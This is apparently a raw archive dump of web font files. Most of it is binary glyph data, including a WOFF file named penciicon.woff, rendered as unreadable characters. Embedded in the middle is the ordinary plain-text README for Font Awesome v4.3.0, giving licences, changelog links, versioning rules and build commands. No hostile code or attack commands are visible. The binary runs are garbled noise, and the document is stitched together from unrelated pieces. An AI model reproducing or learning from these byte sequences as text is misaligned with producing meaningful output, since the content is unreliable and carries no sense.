V%]8 })Ϸ$'*K	X1l8HH̛J41E!gy,U=U=M5账zGV!=G?l^3B_nevMIYdkۖg5:ñlfpl\Cl;>mJ_$\?7wj=zŊq}Lx	{oFQ.j.ZM]ImnvQ{eW`el|cΑJJbLsIR0)-
;UM*C*.T]<z]ʗu@VޗSޕ53J'Grd),ꁪaWwiְ]"Fs-aאbJ:Dr1I'.J	]-[|:j6"yFvju/cYx|P/Aޡ\(.]VH!O6qrqGvX?$Kq3̘&丣߹|d:dnI&.BZzb@&[1㹞~_OG>բh^Q|w4]`]w`増s^toǿLψu)VBlNux$V6}y qc<$^GVM)$Ue_y[ń$`xK)J_Sn@6zD霘1-=F]` P{7>0!Mzm)?7?yi
XyUUêVl9U5Qy,4(/5\}?o&,{w)3]:~@}.m@k&^I'%ŏqi%O(5LA١zjq ~q
U@JXg[_REJrbrֿ|v e4LECލf?_^r9 -R7~'rfna@S4S`@4z9Me`(x$[vrQ
p
AW_v.L1@!Cd/;)̡X?x{;T?Vvavՠ8mrqFߦt>_A?P5(~N{'\:o_\zʬc<%}[J5<<_yR6$kj~FLt ɦqNDrÄ{ x!E :0r D8ҡhWaY[pq.pQrFv:
:&!=QΊPXǠ&e":آ}0hԺA
oU{6:+D޷32-my,ͿH[>`PPtQZ8f	:gAQV*)Bȃ&1 ^o)*kVy,Z/XV˸EJ?mN+gjGlч|}kC_s&`4l-B!W;ZmH5ƿ+qJ(l9@gQY9O2]:jXڠUPRbTyq[T|,1%g2WZBbhuaI,{bA1٪DP놜z|$X>tBwʞNjaNn6~,KڠuXh}y=HЂh$ATgwLa엪͏1axrJt<&5Q)`6/4M%gooj,
ZcMZpLh֩gGdW a75Ł"֨VFm:jYhڴi6͛q4eMݰn1Bt\T1Ux;$1HkhbĄЏH1S[.sKګ d:I J,~~=8pӬٻddx&%b(Ns
ZFsE=Xx-9FTxʡ6usJnԬxO* (^Ffа4JH۷}wI@-mR硢',(1&^D
+1/J_i^F"5<MҍKѾ05J@c "fjW.Z1m Ҵm^doJ)m[_sE
}/of+~`P]q)H׾xEgo륾ᝁ Fi <]4d+>P0c#ۜzw/]=s@+ܳ<4-#Hw4fEEixk!+T-m5_Vq&[A)fӆ5,(>,_mW`
Ђv9t͛Eos84*O{lӧo	LjF/x^ý^&SP8>A&::ف V7C3!D6d !X|y:E_%7gk]&TmcVO#P_3k*"_/o>|1r'X>ҧ/%Hyӳ>Zj4һT@hnu/~LyCaaU4Wi@~dyGZqi$ݥ9pC@&sr<>K1ѿK; JD,~t&<gOvL;^ICJ=^FmB}dC,~PxG2?XVD~h"^?]n(52?(8wL31[HEl7?+G(6}[0)ư4
Ak߄b؝kŊuXU#)V7ŃDet[ٙ>@84 -9Z.n}:Εz #dh!ǥkO[:!]Y)
tdOr rvP2+2*TEڄUjPBwKΘ
=|Ǥ<3n魠*ڿfMhsX>WgON'$u7tAұA qh͌̇D0'*&40<BXFFV}oq|߻Gg^äkשGNrJws`ϏUL:J^	ck@ }ߓM$?t^"YSN[yļ +]p}LFY>HCAqpyM?x	MzA>Dm7r)y蒾V͍l1ύ"wm_\s	ɬ?=OMfR5UCԫ{GeHa[y
=sD RUW%Rd1'=uR(/_  9ܺַI
"%;0ݎb+MG`p\{?sX΁RKV7M3y>
sh)wdcyt\̌m7x5~ngl4mpѨ!k	ԣIdBG4CBs5COYbjo۰8=vMa./lnMqfJ,ias2`0:{Y),fs~vAtT12?+E1VhcO=B@UXy$c9hhׂU
ׇL_CAkHq>yJ--?I'<TJ#2v$d1h0Y!}=nbJ0dN݊Tl_9V9Jkm{\n.ӡ&GTAB0fsfX
|,c:k;u>CvFގsZLW T   xc`d```a<=|Ed<Wnvb|F``b   d# xc`d``c8"Ȁi+ {
 xVKkAy<,5VIL,E"E"'sjJU3U=ߴK>Փg_(ETu=O'{?<c|u>Law]+tw^nD.}kzՇ쯍U}ɩo9:΋;FШO;XSB[xe#2UoاC??✼	9Xz{w>	O3E*De[=픖wE:seI5oÞR݇G=SBPs|W+Ⱥ	}[0l]1V~ٴFoMr;'O^gLyhol7/ӌrq3}=vCCHF=ǡv@ilr.r4CүVldV¬L[eN0WԿoϓiosWwz:zQYY3RyK >?+#B|Jzj6]@UD-Pv>n໌u;WOMeFYг\l@*!u?'m'18>wCÚ\fMc}~5lmo,.}Yr[Kf\yBGyoC[|EE@
\}d<z/
|x{TgN.iBdb!3iMe$׹4M='4ri!e}Nҿ1H6dHAT8T*
HGJ%K^2	RYHYRyr*УBTq"(*ѯTDSTuT-IzjpE/ N:R]ɕWgKnl 7wSGG{oxDJ=é	=Ż7,5w0@N386C&9^5;J-H~i	>j^+zO Pu//wR+=q v@GSLLgr<IRB]<1ugfO|E_P;apK\?Gǁ\ Ti5s܇}8Ap	O?ϿR KrQ's?YOw1IN 0EQ
S9?'0iOdo911ٜXŲXb9s?84Q+q>_:KຈLzK[w˘Y<r4/G
f+*$pV{"rkrZu1	nIxc7lFzmdfL-ڂ[9[L6i{[G
wo:wSo3܇j?R镊 :g&>u:sGXK˟Qt8;<O$'|
ON2Ltgkuo\G|؋輄]書竬_×hιȆo2[ݢw qLg<D#r='|J~>Sg9^гo //
ͯX{]\Fel)HXLeJdJ98+eJ{Ȕ*.-ox2|@6tL%7@l^@(ceETq>%SIN-bυ!.ꎔqeϕʸȸxP!F ލ4I2^	2ެ7%wi$<_L+8;гuLX-@2A<;@c'83tAC.3=P&p(ۓ 1oO)2	yee0ڇdeNdgF{uBpoqD>*3	s3=6(T~G77L4YCٜ9񜋮z]%q	ϖ1TeWe}(=drwsoWse\迎$H}nEc2pϘoKS
}woZ{/o?9w*z %އaa/G|<lO0!rQ&</P3\wDpˆn܂-?3u>wywᘋɀu}є<m󐼇O~p)>kyg{ü,Ǜuβ<d-rJXl	Kl<ٲNXs̖'[JlOY'٪բe&ٚ ]%R6$ʺ˾C| ĺ=m0C֝5,wd=x6V\YO(J?(m,!~Sr~n S%Z@6 meюp@~et  xc`d``:$ɠ L@`> (M xjAƿݤMk`RADݴ7?MhbW6;I&avk_@+@Uo'cBMH7g<dE	,p?-QvZ^SJr	/gp}oyw/xGY:wLƜle>[.1[.bq-	uyזK輵mwfyx~bbЇ1BL IvQK^Ik&LŽD0fb`0(JfRMdDI/DK1Z`*tMƬ d.do<UڨUڴMr;gzpXmk'F}FUF]=j;௲Ki"bD.xB$dy&_jQ>º\ՒO-9"ZmWj\DI滎SidIΩ+Щ})dG»2']ZJZrl$;2VznM"L4R+_ek=~^^8D9yWy1E&ϋx}WtȲuUb'X̔ؖ,O`ݶ5- 0̏1}̰Ls~N$ݾ}oW))L?nJ].ucԭRn4d 90
X	ư	l
l	[ְ	`{v`gv`w`o1P	`8 `8VL¡pGpp'ppgpPzj4Fj-hClX]p}p5C !D0 ·B.KR.+J
kZF	n[Vn;N{^AxGQx'Ix
gYxEx	^WUx3
o;.x7!0	$|
>"_/W5:|	߂ow=> ~?O39~	_o~?+¿/0bpXaQ\qčpc7psĭpk߄v=;N3n;{^7c	XAMN~?Ax0p
qgP<#H<
cX<D<):xgxX:6
[ڸ`袇k Cpqq-x^x^Wx^x^7xތxގwxލxޏ>>O>>/f|߆ow;]n|߇Ca|?ŏI~?E|_ƯWku~w{}?ƟOgso?/W?_JQ2i
TaQZFihcڄ6hsڂhkچDv=@;N3Bn;A{^7CST!LM~?@At0BhifP:#H:cX:D:NST:N3L:Φs\ydQ$E-jSlZM]rG}rɣ5S@!E4G@ΧB.KR.+JkZFn[Vn;N{^AzGQz'IzgYzEz^WcAv#(ot?StZ~Ayb:
nN/vj DUϝS۫|\QHnvr3ot<ϦjCҾk5|lIuw9baG10竖N^O踍nXouܾ

sTSM!ˮnSV\ShKѳn~mX=[ڡ؍bZGNXv3Y_sT+N_L:>WGAhӲo{	NwG[VCɩrs#_e=oNgy5YVS&ufLD T^n5iY|^~Hˡg<Mp\e|8~}ЉgҝZ0nA'DAMQ},&&9#k"G8T?ሆ%b`*ԭi;4Uv##r{"g9rpnYb)wWyFc5p@~;~=W~o\XljUXW;GY=W*{L;b*?!+,a^CW~l_b$Cerb2}N_crߥZLmzH؉z*LdIrZ8$1%'rq~͙e΋oko9lqB~ɽbm3C=A&pc'D˛t	p~l2s6K)74RrbCBe\܊dDdEzG`$`C!HUv;ɄVQy3CuV87'F^Z2ٺ8BP#
YJOb^:TAΧVgvq~A]vxvg(PwTk78G;y7b@q@5T>s;'MI#I3>+7A:p}=[|y-N*y.orJqQYX;(Ck8>koqDWpd5E=qunk6t$z"cÎ|١(S	cJ)0.Geɔq:-#$Y=ff-YVtyXKhQ]ԗHe_`~(5TAFֱ<b=.owI3љwfw3ł|0˗8-	/Ona.%e/$է<0"/h܈C3e9ibį9;8$"G!HJaWkdqIf)HǶI_({ڵrvj(N2f-iMj&Pd>Qĳhr&|`DC 	{nA9YH61G&Ύm/%	iźAJcO wtCŗ^l4b&ψ8WV/g|%%Y]%Ԯ{M>ɏ63Y8Tcx7V.M\7r8G
6CpWlЋcS\Ha/r6z#^`ޑ5,Q!^ߴ]&h#*ZL>K,GҧK\w>5]-2䖠qRs#?Xb9Vq-ˎJK!	<=
"4sύ=qWv/TKkXedI$9GM7\@&SJ5H⁚+C%)RVU)&E}Uc|8L
h,]M
hR@dVui(KQIf)EU	)4>&<и+RRb\kӵJ+	$J+	$0, ʂ(	gu!в1tmZ&akEX+V4tV!6dZC@2dȐ0a
zhL@fϻ?PUTTPUT*4US^nHKhĄ EE|Q_TEE|QĤ &!L
bnb܊BLa)$EYU)&)K2!0XKb	C,aIIHJ3bC`1!f03bC`	_FYeA!0ʂ" DzC7DzC7DzC7*0!!!!!!! LA)S,z.sK"!UAT!"!"!"!"!"!"!"!"1)DC"JU۴41kƙ")қ:&]2XbB
3Kooooooooof)Uzu]uYzRWzB׃VzJӺlROi);y4ҼSwJNi);y4ҼSWҴּӚwZNki;y5ּӚwZNkiͫckIҌѼ3WGؒ;yg4Ѽ3wFhY;yg5ռwVΊS&5&դtVj	   PK     N\Y*      fonts/README.txtnu [        #[Font Awesome v4.3.0](http://fontawesome.io)
###The iconic font and CSS framework

Font Awesome is a full suite of 519 pictographic icons for easy scalable vector graphics on websites,
created and maintained by [Dave Gandy](http://twitter.com/davegandy).
Stay up to date with the latest release and announcements on Twitter:
[@fontawesome](http://twitter.com/fontawesome).

Get started at http://fontawesome.io!

##License
- The Font Awesome font is licensed under the SIL OFL 1.1:
  - http://scripts.sil.org/OFL
- Font Awesome CSS, LESS, and Sass files are licensed under the MIT License:
  - http://opensource.org/licenses/mit-license.html
- The Font Awesome documentation is licensed under the CC BY 3.0 License:
  - http://creativecommons.org/licenses/by/3.0/
- Attribution is no longer required as of Font Awesome 3.0, but much appreciated:
  - `Font Awesome by Dave Gandy - http://fontawesome.io`
- Full details: http://fontawesome.io/license

##Changelog
- v3.0.0 - all icons redesigned from scratch, optimized for Bootstrap's 14px default
- v3.0.1 - much improved rendering in webkit, various bug fixes
- v3.0.2 - much improved rendering and alignment in IE7
- v3.1.0 - Added 54 icons, icon stacking styles, flipping and rotating icons, removed Sass support
- [v3.1.1 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=4&page=1&state=closed)
- [v3.2.0 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=3&page=1&state=closed)
- [v3.2.1 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=5&page=1&state=closed)
- [v4.0.0 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=2&page=1&state=closed)
- [v4.0.1 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=7&page=1&state=closed)
- [v4.0.2 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=8&page=1&state=closed)
- [v4.0.3 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=9&page=1&state=closed)
- [v4.1.0 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=6&page=1&state=closed)
- [v4.2.0 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?milestone=12&page=1&state=closed)
- [v4.3.0 GitHub milestones](https://github.com/FortAwesome/Font-Awesome/issues?q=milestone%3A4.3.0+is%3Aclosed)

## Contributing

Please read through our [contributing guidelines](https://github.com/FortAwesome/Font-Awesome/blob/master/CONTRIBUTING.md).
Included are directions for opening issues, coding standards, and notes on development.

##Versioning

Font Awesome will be maintained under the Semantic Versioning guidelines as much as possible. Releases will be numbered
with the following format:

`<major>.<minor>.<patch>`

And constructed with the following guidelines:

* Breaking backward compatibility bumps the major (and resets the minor and patch)
* New additions, including new icons, without breaking backward compatibility bumps the minor (and resets the patch)
* Bug fixes and misc changes bumps the patch

For more information on SemVer, please visit http://semver.org.

##Author
- Email: dave@fontawesome.io
- Twitter: http://twitter.com/davegandy
- GitHub: https://github.com/davegandy

##Component
To include as a [component](http://github.com/component/component), just run

    $ component install FortAwesome/Font-Awesome

Or add

    "FortAwesome/Font-Awesome": "*"

to the `dependencies` in your `component.json`.

## Hacking on Font Awesome

From the root of the repository, install the tools used to develop.

    $ bundle install
    $ npm install

Build the project and documentation:

    $ bundle exec jekyll build

Or serve it on a local server on http://localhost:7998/Font-Awesome/:

    $ bundle exec jekyll -w serve
PK     N\DD0pL  pL    fonts/penciicon.woffnu [        wOFF     Lp     d                       GSUB     ;   T %zOS/2  D   @   `=Kcmap    H   5glyf    A  jtGhead  D   2   6XUhhea  E      $]hmtx  E(   R  loca  E|      ,maxp  Ft        name  F  =  @Qpost  G    npxc`d``b0`c`rq	aI,cb`a <21'3=ʱi f &;H xc`abԂ|X4?V2 Ҍ`SQ1 0q
xԇRa7z&UzG(HUz.ܛ7+=9^;oM2	@|c qcOPl?~8&hϟ`iñ5.6<1$I	K#2KB(R>PF9TRE55RG=4Ds-|63tz襏|bFc	30,ˬl?f]C8S8'\r57r/y'y7"_N%bsgyMM0b4P5PS544CM7hfj3lC1\C3|C}oZhEZl%ZjPP+PPkPPPm1OjmnP;PjWCf:`:dÆ:b:f:auPuPguPuPuPuPWuPuP7uPnꎡꞡꁡꑡꉡꙡOC0KC2kC1[C3_zohOl/jo1"~`Ax	eYxp><y:zTUASi%˲,$[mmma0!LB6i$n n)s{T2mVt>ggs4UM#ch=F@3doTEr52J¹LF0Ն3=7	&QOwin˩Ʒ4FɆjIls@vDr^XiL[.o!GiKv🮬be9؜";ܖbTBfl:I(-afj1fݬ޲!%SA-pR%/6΋i˔BMAн,<;dZ#0pг5jH/e}ڣǵi=xmyD}4=U%Fd/Oe&S	$ t`w["9ŶzLS-8#]tHAB0qKA(w.۝!ik3I+ŭ^(3#K4k43Iu!tF	Ri2 øazd΅/L0LZv:$us8eD8Yò(ߑiPN$t׍7k]VDN(_p>\KZ߅G҄tjafn-`eM$A$РG5_;F{=PpL@I̊m5%'9~mX8Rx%EQbm~ )bQ=IVn|\m7!G,0=6Ҷ4|Oe䆟vl1K|\>%MSd~,ZEnFW;r HprjrB߷<åƬc?WE(L)1E銰';jV`M[^Ol3;v!LnJqޓ獯F͓_9<qЯuYBo%|
v
!EI,fo&-GU!YU!hIE52̏ees>c{@v`
>K)0&۔0O`r i{s,Td}&0ڧSFΩ%&6*ޤ!Q:WWsZj=Ym\L;0vV-[	Z`3azG[[`p _	o榼['6[*InWBIG[&$Cm)I9$G`vu2ܖPx@q`$Euu-mog&{&4n	]u?]og=7~b0rp|L
ګ{oavI1^q
ENrYBhz[^՚NfG~ǭ۝37Î1*LӬ38[cS"MȚBnwJWAnCa
~՘GX\:[V;_e',iPE o>MՋLݽ[ǜD|7z]xI/[pE7}.^zo}!1X|>{Z֊s_NrOn9)vGD`OO|9mq#b2Ha4o|x+2kqJ},~B^im"k4i9=4Sddjh^* n6<~Wf{3vQcs|SBvacmݨݬo]35gI.!Ifr1R|=X'yL^GFɍ,zq#vd4m駓flX1Jbf[faY1^	/^HINnZ+ě-`**Sl:öȜIOf eP VẊٚ#lqWpgc
	%<ſf7w_Xn1N޸3},j|.uGnfc5-۲˅Դu  ?9 zt{Wz'bKipK7=8dKX>tEu!#GLLdx gIp]5f280pJAf y!w@,}7% \ Ky׻?^c"Yȥ#v/U놖p^{Pΐ9؜E2}2ݹ!m[۳%l.c}ҖE]JwKD!%:lQ_yIKuI|=؂/du@P㲵=9RF# /@
iXԈSlEe$xpv12J1I12'iߟX-ݘFv?:Jkij}pE`~N@~Z^d>VXUtB3
v)9Rt/l	2/&m01fӵB3\k	Auaܒi$-TzXFhEd461%a }4)2yf_v/sZme-rǺs'z٭emekV[Ziy>ӚZ4e y'~wݫ %j Jp8C֡Bf:VDz @9ԇ7I|
(0{
J:PJ0Av|mml-MEݕ<zdi<9K9;& wn^=eJd
 k>B GeQ  sL4CQ
xny"IeLaDu8<܁@gLC=&rtSG>xtB-.x#]e0\0ʡH@G 3G	G^O,fk{\-[C.%os֧g-'} ϻWY'~7'x5Շ*Y:_ֶQBcw'3Um:,ϝ_WsIĀAaKpLXj؇gZQ\zJw8?tÒ?k<NZصO.r.7u5Wa|Cd]4mFHK@o`!ia/|C׵)щ(JAִH+V+tfcymKetRu-o(8/l:q5k;Vgׇ݇["Wjꬷˮ}W1,B|T|ڽל&տ:}wv~%di]W/+L{[VN|pmt{˩.J63MN۩Buw_1?!/lnu]3^P zxAqݽ@l|C:zńxV AR؝jݿ։kikgk);_:QF+֚wjKq5Sص=ȗ!Vc@۸[{T{Z{<%dZɦ $I_XU1@HK9j{r{(FyZLyHaLҗ)C8M7-qW}iܼ}F	ߜCZ~bJVV}ӅiwnIÍAMqXr,^}3FKҒK;7gsT?A>kRq}RT"H	-UrG+kN`,g?%kkX)j/8Ž0&%n=}.!x!ȗL&LfDcaQ[X~H_'h׏kO'dEAr`$_V6g6hMs>Zwgg<Er1NfԲ!%\]_jEl$l9
@黱ߏmNu.M20 YHOJ0e5ӄLb \0Bڅmc7i) Omj<`,Z~וԏ=Ste 4/a3"]).%Q])cO:/P͗<ݛ`lWN'?CU/ōǍx=шt:HU"{]=vRäV_=nQFeHRie,xCc/xk)E
r ʑR#{5Q3s͕!`7U$)dҀvgSHnJnY9]l'"ɨ*9PW$Đݴrd=myƃnR	c*ʌ0A޷}Á2
D>ЛA8³\m5N= YK1!"Ćd1Ei&~ X5g%1p'zTN-}-6(s"ZJ]g:Qzl:<ӳcZ-	CP7ޑqʺ+ْY!-_	7Ygfdya$N;hKqP0}hvu?k	vbA@F$ЦvB;CN:Hra-BP BJДסʕ+gwwIwݰC{:W<y`~6_g7m7\7YJcnFw.HU:w8?
ځvIrhC
]QMN#*汸6lSY:{k x$Wfs\
f1Lw]Xf>'KO/%VkgqջmhQ\[v?~AU׵5ydTz~h)-	B9qn4l^A)vJ	\˅2<$I,ٛV^Lϗca
5\:p69AU͌cKdA3tQP%_.!KRNm"Am˽|0m8̀3Q6P)]&ҠK%w,Qs:bX~B3CGQmģ<u@ΜxB9.569%7^edx%&"J΄.+aءГ0褀鿛:e	:(C& 	
>TF !S`)WSeBFd.M/z:Lȳ"YoKP.]|vӥ%5ϸx`"92v6V&QaGkr,prp~a|:VN-ګoX`B@lYkPK#=:ih)\;;:=ߝjmPOe$[HWlLw>{6}sb%$?}!{^T=SI{o#tMu' FQ{>[;ܵ"ymc
@B /MT><4KȚfFaR:?gyIu\U^4k#NȈp):j	)HE5nX
ס5CFXͷ=n#2.%Cnԫfkk~%zbZӤsf5'IVڀ	<y]'UǺNZAmWCd VC@\cיa<Y.$#@E(J Ul9S`Zzy3=@6zҍs=10<)r<F'YVݕ.\ԉ@$8`Vİ2Mx_O<ql wffn=F]u6o'<%1ԇ<=C7׷.N!;G:훇诘(sQéo& :h*R?2w؃a+̇2%BƟACL }O?@cLt~O!Y.\jœ?w(H4͘A[!Z1뀎"/ <Ud1\j)F]A{Kw#EOR0]96VnϕA]97YObK7=q8Kl#FiAm}0<gמZKY.095707cHcoz<:TKЗ@D:܅)c }'߰:K\ةx6JH6$0t74)k&vjs	bq."6N Api>Pb'èNg+!%<;)=PߩWh4>&W
*ep[:yәL>ZN
ޭ8}S6˅cZKlX<ХxԖd~1$>~GhW&z!K0F0zN3yw
cDZ )2=j4C}/ܴt&i9 ¼:xA' dHOZ.$b[&A/p	BmڵBrib$
/Cr)]9fg6NQj@Iip)\So|$LQwr_ta2:$ ݴZ7y>]!?!!S<Qs9U6!o9R1?᱾j'-8*l樭L:^M"aj}2l^
HoL:ii5B|<s|`xjNM{Lhb	s2̦>) C&-szD9i7O5`s_֋fg.\mLk8kkk%CT,lw\Q4
Vli#hZ6=Gz0Գ>h!zbauIce#Jz6Y`Rm9 ]K$>(Tx {sOYĥz=|?,g|XqM
}*Zv,V{fPv9QoU6ؔT8Hp[z}q;M#um_{7C:ܴTygs+q_6N	)ѤaAHa"K ΀ChS	-8ZCKC-Sg^:tinzf7Fs	i(D`ξM1+5ܴ>?u#Ձ ݰƆF)uK}Cek=[~!OfwRBIˍxAώˎMvJS0}"s"۠(afLvYrd[qLæ(Kt>JY#7@dz(fAٓCNۄKN2Kx	@eNpFP5xyg{rrS7@'`wevgiUśnk@ߡ=i۳0N|'bϐJGUptm
n<̗8"_p'
Ki?oĻ9hA3uW S	[8oho "f2b5-4A~_Xno'o :` !2XX翅~nC&A].řց&p]2g(R]4%oV̞5{Ima5/=%s|:Pjk)4|+ڣc뵷io>}"f_C!U)F̡1ZKTH8t("PeK/) htٲ<[n.*SŇMCyf /mPuLBgv鶑0/AmfW>~dxMew,kYӏ"`JCR;'<ԥkp9j`y540#ˆg63]pT-r%(,TRz4e⾔o{<$Yf
<`̠ɓ⌷vbF֏<>׌Ռ[{ c)3,QЪ&[We!M	h ">| R?f!tn Ɏ|e*ƞ
c"(wCzԒ!eVUDwFcLF!\.7Fy>ڈkEc`hg9Ij->$@A{S, 44{Fݩ᭠0hc9zc\2H{[h8)XR(fAn-c=~Gx 1	mN{=|˼bUg+Pԡ؃rv*.sPn'rEݛRJ3[~|<	7.VnNc:VY'~5ᩤٳ2Y|1R-5Sx{9;2'7kR)&'ISF?P#TT!J,|c/>@d8! s:zwȖ{aTԋbn4Fu &82Q}1F'g@S4V.l+ɍxlSvgkб xC/. TbwHzu9PJ2$xzbQ;$Q(g~R?/HA&D߉h	ܯI{רp@EhVA+|^~@ԣ:Bf xQbW0sցf=d<<	Bؒb;c4gyG[I6t@׶PA<u9]o%{ƋC	MpĞ^@NItwF\̚׉ Am޺a0p @ĚЅ[RB|yf;5d~{]lNaV3DV<G|8 4T˦9+UJlnfSDPd鏕nͽ^,-ݙU)Mtq̇gGr>-,gϞ\ɋxqv%ޙ^ݸƽ+G!ن7';
żU{A	@N:щs/Tޅ]$$EefᕀYBvYphIVh~{CEaFi~E&@t4"8tA@:3Rss$nW6;%fYlԇGRJیzNo'\.~ރUNPBGO5`<um
e'>P,aPqEܬTJKE~riɅC/e"r9l10";h~}F$DP'lf/@ALmAtaX,7SH؉ %,l*]7:9Eū
4gRwz;M_HpG[+ܽ&RkFlLOkuĶYG*5p
 )mE 1!p&.=X톖:tW`,
+n'Wʦho^_rO;4+Oc})xq˛_kXܺNZ !SXj4"'ja}u:%#g
/X<QYG^c	룾5
<ULe ^I617k־BH9p1
QFTn8AHKeL8t+*­.C;8zƝf>3;NjXv'n@Ǧ:]{^2j^j
\ bupjFמظ4'-)7-7;vxCA)@?BݼK>ltkYuՄg[(<0.Ut*澦-i&.hwiiOV]i>Q;DY|-sC5C-q}w,*:sw/?0zJˢ|̉ȬXo*;bэ(D-E1)LeuۀMB06`^wL8v°̢ލ߀q]O5=-3C#ZO{jsDqB]m6 SM^4ko D3ڻ紏~kN?v	L+	x_Q~z17js_.YV- ΣNvNG/\.&kEe!)u$]lǎc_d?.[]&;#R!$\w5{bhjG͍FcٝۓnssrdKʋ9䔢iͪ$OQ/6_>~Ry啜*5+O[>7J)m][XajۍГ]i]'<m
шmǳ0EuAڱ,tO8p_B΁zVd)瞱?.L's&tYc<c$-EOܬX9BDZu'FG+X^86<H[KK[=~Ϸ~#۷5fNMp?a4Fy9"=VF<vfkY6;oX1lndմђb7כ6͆i:h}Kh4,ui%íaʱhRvgmj096ܰF^
lU-WX]-l4HxTOhReKpN
Z!. ZA`a
v %,
v	/1eE)J|ux=oCd{a$8^±BGX3_\ZuQ*_reգ=;t^=;8z_zkfBgk+œt{G5HɴM	lU樞n*1tN_}J*9ԍ𧿯_?13cRݧ$;*/i\X( 3-M_E{/S[]-.;=Sm8($f]>`zEX;8g[#]1L[4NSqJ5L/3Gt~/^]˒/c2;˪	b3%tݖjnzot}wC.{ XD
4Vj8YEOp#Jg=#(@VfXu@d+u|jygrahNGK'y8`s8w`kG߷>~ oҥZ];IuayeΤ71-׏ܱ#1CK;[18߃MW6Fq"yH{`Gq5y.Q>sԣ՘cR!ԴxSLA|'v9םYFucNvÖ[.<Ó9w;H=u#5se1["L<&^%fbַ5/A`tw06+Md\}ksu59*@6[>\R>xK%1f'N^<h
,Ǎ$f>0 'ZR|,[Ml[E.۔z?;K͘qפK$`J3cVV70礣pkI)8V@=@=t;3;Zƈ/)+yޣ7wu,Y蕚e8àc{fWY|pNI]P#<H^qmI-S!MR,ڶAu񅅛EmtK,|{3(:Gđ`pc
 	CWD5n}[z[./	tGmSq.HҙaNQZU5vV>}B	ׅ;mVpOD4[Tz-fjXpocCP;*斅	0@u}o'xF)햀 C3:tl98,eJnmK#67tnEڒh,8g.Jb.KR)l2kY2e#/FS&J9|nu[2RщMRR7nP2Wv1"@J0,XoQ⹦ó1r$j/TV}!=F:ԙjG$|]*LC7$PvP+:=Yqm@Lfv`D tG~(}o&3|
^">:GIkfa=6q5n儆z4U!ڤ\Sd1B\cR┥0Gta+0WH_*@|kQfnS,ď,d4W@9.T,VLwb:å%.e,'χ=q='&NgXqF'~|FK|[#eETL;=0T4]F%cqڙrɞٞyS NЩ~߰(qC;@>bŕ/	M2T!/ճVa/xk-U`~N$!I
f(FӋM3(ˆ>6QndHŉݸ7qOZk\kc[aĉ5DSEV&9nLỳҳ#	>e#Fn9زlu#V65lYM5ys ^G^L{[z#
or~\ۮrsYwmhS/cuV>B񥇉@H;%_ZoNfP:?i\L{ͺv
ǽ&/-˳m4.V}gG56\op}w}hi?Ǟv;nXohU̝˕c sZyU2-\Im\,d*X^wB,EdC&(N/^[qUqW܌wZݶlI-iI z4Ņ1ceh{VkR$(v3Ec*b7mL
yݝmSCkƕ޶̴3+ܵpj.#pPW۷tG~uX޾u@緗6?dLƠ;ԞT;*<7R\(v9ZFĘ2CÉ"V[΍INa=Lkg
<`=aGޗn@ƃجw32"93g|\{E]0r{+JՖl\G%C[0״o
}zvKy>-䠨wncJRG5eB쓺챇zII@O<>C>%?3B,Eoxxs_sky?exsH2z}L=̷=E>r
"OfkOgt]۠g!6n8X)æME4 6o{X,lN bdB !24+%.h*+T(\Sv8cu/j;@oޢ}Pi3jC5CqA T %ڕitZ5S@=&gH5NaJ *c@*ۭ|,9	[q6ݛKڮj`UN2Ac:_:ǥ/:Ovb=1\>4e>8M97J(YJ- >MH΁Q]?҅=D~Yn(:_!q'YwMj2EYڪꔭsi9HY4*wzA@W`6QrJCIUW đTdh{Q9 @b}ka`VJkAJU7H-i7HZ93/PP

*1V0FZ|bCDPeF!BmAzUjH*O{:iQز &70kQ%w}.\U@Օ§\.Lg3FZh"S[Az-!SN_z8հ&Nʈ2ݭv5e.6}hm,p!+2S܊t-wৃ.q}oeh'4!=/`/SqFkj[ڙFzkvP<ܧ(|[JڶT_}qV׿2e	;ou%)|/%4"ܕ>~b~nu윫ִ+9+GQZ&^NCsW^Ozy1;V%k__P~FwײV+[~t$^8kԶtt3 wڵ/h0ڪZgvB]u`sTT
WlqhS*|m1J_`iOWpFP~٠+n1xիLԧӀ^:A$xS.?gdv,DAg$6hW9FG7br;W8BVm@};ށ>k7HK8TQ>wSgBwGdy*7sTp
Qn
(ҧ	}@wtMA7)
g2r9pT񵓹O}MW\Z?LkVYK~-M'<ڠgu|y<tz:NAgvZsmKR+W܂#9_C9n40sLSF8YfukH
60lSOO;M/Q0ϒ{a?}'OwaFjAYIIOYNh~E(T}yWm\Op:B1CSn֐V1SgCeKS4Q9ɼqK׈I.do]bĐj0#^O8 ԰9TuZoQv	)GcEŁkI/:՗u1~ycilp}f4týZ.qͦ Ypҏ{V*8+XAw	ao;:'e ^%_kaV x/b/^sFօ~oړN]2iH	_&$lπ{'#VkAGj&z`k7iJp14E&ln(Jaާ*HyTӯJ|⛟\у>}ӋT%~_7iyw}zz)*K!+TEQj5X⊪5Vsm؊1w;v.GԚpӼ	`}/A/']߮{޺>Q'7Ǿ͋ݚ6Q;!n!^ed
amB<po6E46{Fs> jv0eE+vP޶p<I6殗ϗ~m=`ZN3fO	uM`5lW[OF?Hsl=ϛT;8WйӨCaC,X8VZrds":n1HԝZ딁#Y;NF5ZMSv]=\w,sOnT;fS~N9F WqitȜdutoJ_/AyʏhMiUGj;)J<CEe|'>J2ʌo9|;ieivT=rgۆ?
s8{qvez xc`d`` [6_u"5`31L Q &H  xc`d``a` hȀ
 g!   xP[
  [߭ z8 4ĖoaeB9YZ}!ZS{L(7~hk[޾
:J       d  jVf.f
2h		n			


X
l



2bfpH:b>jhDL "!!"|"#
